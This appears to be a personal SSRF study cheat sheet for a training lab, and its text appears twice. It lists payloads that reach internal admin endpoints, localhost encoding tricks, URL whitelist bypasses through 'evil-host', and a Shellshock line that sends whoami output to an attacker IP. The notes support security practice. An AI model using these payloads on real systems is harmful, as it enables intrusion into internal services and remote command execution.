SSRF

PRACTICE ! PRACTICE ! PRACTICE !

Check for any API's, which fetches information from backend to the front

-> Tamper them stockAPI=https://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 stockAPI=http://127.0.0.1/admin

Find any internal services running in the 192.168.0.x series, and then try accessing the /admin url use Burp intruder to find the x
stockAPI=http://127.0.0.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 <- (admin) Double encoded
Replace 127.0.0.1 as : 2130706433, 017700000001, 127.1
Whitelist Bypasses : https://website.com@evil-host https://evil-host#website.com https://evil-host.website.com https://evil-host#@website.com
We can URL encode upto 3 times for a 200 status code.
Analyze the API which fetches the data of that product -> If it doesnt connect to the external service and displays only the path then visit the next product / any option which takes us to the next product in that page -> this will surely reveal the path and we can try open-redirection.

If nothing works then try tampering the "Referrer header" with the Burp collab public server to get a ping back from the remote host which confirms there is a Blind SSRF.
Tamper the "User-agent" parameter by inserting the shellshock payload and modify the Referrer header to connect it with the remote host using Burp collab client

() { :;}; /usr/bin/nslookup $(whoami).Attacker's IP

Last updated 2 years ago

PRACTICE ! PRACTICE ! PRACTICE !

Check for any API's, which fetches information from backend to the front

-> Tamper them stockAPI=https://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 stockAPI=http://127.0.0.1/admin

Find any internal services running in the 192.168.0.x series, and then try accessing the /admin url use Burp intruder to find the x
stockAPI=http://127.0.0.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 <- (admin) Double encoded
Replace 127.0.0.1 as : 2130706433, 017700000001, 127.1
Whitelist Bypasses : https://website.com@evil-host https://evil-host#website.com https://evil-host.website.com https://evil-host#@website.com
We can URL encode upto 3 times for a 200 status code.
Analyze the API which fetches the data of that product -> If it doesnt connect to the external service and displays only the path then visit the next product / any option which takes us to the next product in that page -> this will surely reveal the path and we can try open-redirection.

If nothing works then try tampering the "Referrer header" with the Burp collab public server to get a ping back from the remote host which confirms there is a Blind SSRF.
Tamper the "User-agent" parameter by inserting the shellshock payload and modify the Referrer header to connect it with the remote host using Burp collab client

() { :;}; /usr/bin/nslookup $(whoami).Attacker's IP

Last updated 2 years ago